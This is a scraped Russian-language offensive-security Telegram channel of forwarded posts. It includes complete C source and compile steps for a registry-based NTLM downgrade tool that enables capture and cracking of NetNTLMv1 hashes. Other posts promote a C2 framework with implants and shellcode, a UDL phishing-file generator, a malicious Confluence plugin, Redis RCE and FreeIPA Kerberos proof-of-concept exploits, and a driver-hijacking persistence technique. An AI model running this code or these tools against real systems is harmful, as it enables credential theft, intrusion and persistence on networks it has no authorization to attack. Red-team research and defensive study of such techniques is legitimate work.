sh://tab
52 subscribers
589 photos
103 videos
83 files
1.01K links
Инфосек, похек и безпека.
Download Telegram
Forwarded from 1N73LL1G3NC3
Whitepaper_DriverJack_Abusing_Emulated_Read_Only_Filesystems_and.pdf
3.8 MB
DriverJack: Turning NTFS and Emulated Read-only Filesystems in an Infection and Persistence Vector

By: Alessandro Magnosi (@klezVirus)

DriverJack

Hijacking valid driver services to load arbitrary (signed) drivers abusing native symbolic links and NT paths

Key Attack Phases:
   1) ISO Mounting and Driver Selection
1.1) The attack begins with mounting the ISO as a filesystem.
1.2) The attacker selects a service driver that can be manipulated, focusing on those that can be started or restarted without immediate detection.
2) Hijacking the Driver Path
2.1) The core of the attack involves hijacking the driver path. The methods used include:
2.2) Direct Reparse Point Abuse
2.3) DosDevice Global Symlink Abuse
2.4) Drive Mountpoint Swap
Forwarded from RedTeam brazzers (Pavel Shlundin)
Совсем недавно Миша выложил инструмент LeakedWallpaper, а я уже успел применить его на проекте. Все отработало отлично! Но зачем нам нужен NetNTLMv2 хеш? Давайте подумаем, как можно улучшить технику, если на компе злющий EDR, но зато есть права local admin. С правами local admin вы можете с помощью манипуляции ключами реестра сделать downgrade NTLM аутентификации до NetNTLMv1 и получить уже хеш, который можно восстановить в NTLM хеш в независимости от сложности пароля пользователя. Для этой цели я написал небольшую программу, которая бэкапит текущие настройки реестра, затем делает downgrade и через 60 сек восстанавливает все обратно.
#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // для функции sleep

void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
HKEY hKey;
DWORD value;
DWORD valueSize = sizeof(DWORD);

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
RegCloseKey(hKey);
*oldValue = value;
} else {
printf("Ошибка чтения ключа реестра.\n");
}
}

void SetRegKey(const char* path, const char* key, DWORD newValue) {
HKEY hKey;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
RegCloseKey(hKey);
} else {
printf("Ошибка записи ключа реестра.\n");
}
}

void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);

GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);

GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}

void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}

int main() {
DWORD oldValue_LMCompatibilityLevel = 0;
DWORD oldValue_NtlmMinClientSec = 0;
DWORD oldValue_RestrictSendingNTLMTraffic = 0;

ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);

// Задержка 60 секунд
sleep(60);

NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);

return 0;
}

Компилируем так
x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c

В итоге мне удалось получить NetNTLMv1 хеш небрутабельного пароля привилегированной УЗ и восстановить NTLM хеш в течении 10 часов. Profit!
Ну или для совсем ленивых добавили флаг -downgrade прямо в инструмент LeakedWallpaper :)
P.S. Не забывайте добавлять привилегированные УЗ в Protected Users.
Forwarded from haxx
Media is too big
VIEW IN TELEGRAM
Всем привет. Выпустил в паблик Sploitify (https://sploitify.haxx.it) - агрегатор эксплойтов/поков/райтапов с тегами по уязвимостям. Что-то вроде GTFOBins, но для эксплойтов. Сейчас в нем можно найти чекеры от nuclei (тысячи их), некоторые эксплойты на эскалацию привилегий и удаленное выполнение кода в винде и никсах. Еще много чего добавлять, но пользоваться уже можно. Надеюсь пригодится и сделает вашу жизнь немножко легче, по крайней мере такая была цель :)
Forwarded from 1N73LL1G3NC3
Living off the VPN — Exploring VPN Post-Exploitation Techniques

What can an attacker accomplish while using only the VPN management interface?

Executive summary:

   • In this blog post, Akamai researchers highlight the overlooked threat of VPN post-exploitation; that is, we address techniques that can be used by threat actors after compromising a VPN server to further escalate their intrusion.
• Our findings include several vulnerabilities that affected Ivanti Connect Secure and FortiGate VPNs.
• In addition to the vulnerabilities, we detail a set of no-fix techniques that can affect the Ivanti Connect Secure and FortiGate products, and potentially other VPN servers, as well.
• Our research shows that, in many cases, a compromised VPN server could allow attackers to easily gain control over other critical assets in the network.
• This blog post aims to raise awareness of these risks, and presents best practices that should be followed by defenders to minimize the risks of VPN post-exploitation techniques.
Forwarded from 1N73LL1G3NC3
This media is not supported in your browser
VIEW IN TELEGRAM
Tempest

A C2 framework written in rust.

Server: Anvil
   • actix.rs & tokio
• https
• api for imps (implants)
• api for conduit (hacker TUI client)
• internal functions (implant builder + shellcode generation)
• sqlite db (rusqlite)


Implant: Imp
   • platform-specific imps (windows, linux, mac)
• payload options as executable, dll, or shellcode (shellcode - windows only)
• simple, yet effective design
• designed with OPSEC in mind. no post-ex module bloat
• modular builds, moving toward giving operators control over granular options


TUI Client: conduit
   • main way of interacting with the server
• Terminal User Interface (TUI) with realtime dashboard display
• user friendly
• cross-platform
• looks cool to your old hacker friends
• scrollable fields (PgUp + PgDn on implants field. Up + Down for output field)


Slides: https://teach2breach.io/defcon/TEMPEST.pptx

Blog: https://teach2breach.io/tempest-intro/
Forwarded from 1N73LL1G3NC3
Oops I UDL'd it Again

This post is about a new phishing technique based on some legacy knowledge I had that can be used to get past email filters and such.

Script to generate UDL files for phishing: https://github.com/api0cradle/RedTeamScripts/blob/main/generate-udl.ps1
Forwarded from 1N73LL1G3NC3
This media is not supported in your browser
VIEW IN TELEGRAM
Creating malicious atlassian plugin

Atlassian does not offer any direct protection against malicious plugins. A plugin can access all content inside a Confluence instance, access the database directly, and execute arbitrary commands on the underlying Linux server. It is only limited by what the Java version can offer.

A PoC for a malicious Confluence plugin: https://github.com/cyllective/malfluence
Forwarded from Proxy Bar
This media is not supported in your browser
VIEW IN TELEGRAM
Олимпийские игры в Париже ? Отстой ! 🤮
Мы за SpeedRun по активации windows ! 👍
Forwarded from /g/'s Tech Memes (Gianmarco Gargiulo)
ah yes please run powershell.exe -EncodedCommand fgb459yfg782hntg934jh95= it's totally not a dangerous command disguised as a base64 string
Forwarded from Proxy Bar
CVE-2022-24834 Redis
*
Затронуто:
7.0.0 ≤ version < 7.0.12
6.2.0 ≤ version < 6.2.13
2.6.0 ≤ version < 6.0.20
*
Большой разбор + PoC exploit RCE
*
VideoPOC


#redis #rce
Forwarded from Offensive Xwitter
😈 [ 𝙁 𝙀 𝙇 𝙄 𝙓 𝙈 @felixm_pw ]

How many of you are down the bottom? 💀

🐥 [ tweet ]
Forwarded from nu11z
Всем привет, в связи с тем что последнее время приходится часто пентестить FreeIPA мы начали разрабатывать либу по типу impacket заточенную под особенности ипы. Пока начали реализовывать kerberos и написали пок для CVE-2024-3183. Если у кого-то будет желание как-то помочь в разработке - welcome.

https://github.com/c2micro/ipapocket
Forwarded from Offensive Xwitter
😈 [ nc @thoughtfault ]

In a 2021 study, Jensen et al. observed a pronounced concentration of anime girl profile pictures among the most obscure accounts during a social network analysis of "infosec twitter" and associated subcommunities. As part of the study, a visualization was generated:

🐥 [ tweet ]

сойдет
Forwarded from APT
🔐 FreeIPA Rosting (CVE-2024-3183)

A vulnerability recently discovered by my friend @Im10n in FreeIPA involves a Kerberos TGS-REQ being encrypted using the client’s session key. If a principal’s key is compromised, an attacker could potentially perform offline brute-force attacks to decrypt tickets by exploiting the encrypted key and associated salts.

🔗Source:
https://github.com/Cyxow/CVE-2024-3183-POC

#freeipa #kerberos #hashcat #cve

———
Добавляем доклад Миши в вишлист на Offzone 🚶‍♂️
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Offensive Xwitter
Кайфанул с доклада, особенно с того, что импакетовский getTGT.py, оказывается, можно починить одной строкой, разрешив ошибки декодирования ASN.1.

В свое время я эту проблему решал так 👇🏻
Из коробки сценарий getTGT[.]py конечно же не работает, кто бы мог подумать (Рис. 1).

Почему-то FreeIPA думает, что номер операции (aka application tag) EncASRepPart это 26 (хотя в RFC он 25). Другие люди прикола тоже не оценили.

Если изменить спеку ASN.1, как того хочет ИПА, getTGT[.]py начинает работать (Рис. 2). Удобно, что Overpass-the-Key для этой темы тоже работает.


Полный патч 👇🏻
diff --git a/impacket/krb5/asn1.py b/impacket/krb5/asn1.py
index 24963824..393ac9bb 100644
--- a/impacket/krb5/asn1.py
+++ b/impacket/krb5/asn1.py
@@ -283,9 +283,9 @@ class EncKDCRepPart(univ.Sequence):
_sequence_optional_component('key-expiration', 3, KerberosTime()),
_sequence_component('flags', 4, TicketFlags()),
_sequence_component('authtime', 5, KerberosTime()),
- _sequence_optional_component('starttime', 6, KerberosTime()),
+ _sequence_optional_component('starttime', 6, KerberosTime()), # can be empty, so worth try-excepting
_sequence_component('endtime', 7, KerberosTime()),
- _sequence_optional_component('renew-till', 8, KerberosTime()),
+ _sequence_optional_component('renew-till', 8, KerberosTime()), # can be empty, so worth try-excepting
_sequence_component('srealm', 9, Realm()),
_sequence_component('sname', 10, PrincipalName()),
_sequence_optional_component('caddr', 11, HostAddresses()),
diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py
index 915ea268..01c7f2f8 100644
--- a/impacket/krb5/ccache.py
+++ b/impacket/krb5/ccache.py
@@ -25,6 +25,7 @@ from six import b, PY2

from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
+from pyasn1.error import PyAsn1Error
from binascii import hexlify

from impacket.structure import Structure
@@ -493,9 +494,12 @@ class CCache:

credential['time'] = Times()
credential['time']['authtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['authtime']))
- credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['starttime']))
+ try:
+ credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['starttime']))
+ except PyAsn1Error:
+ pass
credential['time']['endtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['endtime']))
- credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['renew-till']))
+ #credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['renew-till']))

flags = self.reverseFlags(encASRepPart['flags'])
credential['tktflags'] = flags
diff --git a/impacket/krb5/constants.py b/impacket/krb5/constants.py
index 60f1776c..581b5007 100644
--- a/impacket/krb5/constants.py
+++ b/impacket/krb5/constants.py
@@ -42,7 +42,7 @@ class ApplicationTagNumbers(Enum):
KRB_SAFE = 20
KRB_PRIV = 21
KRB_CRED = 22
- EncASRepPart = 25
+ EncASRepPart = 26 # WTF ??? https://mailman.mit.edu/pipermail/kerberos/2006-July/010040.html
EncTGSRepPart = 26
EncApRepPart = 27
EncKrbPrivPart = 28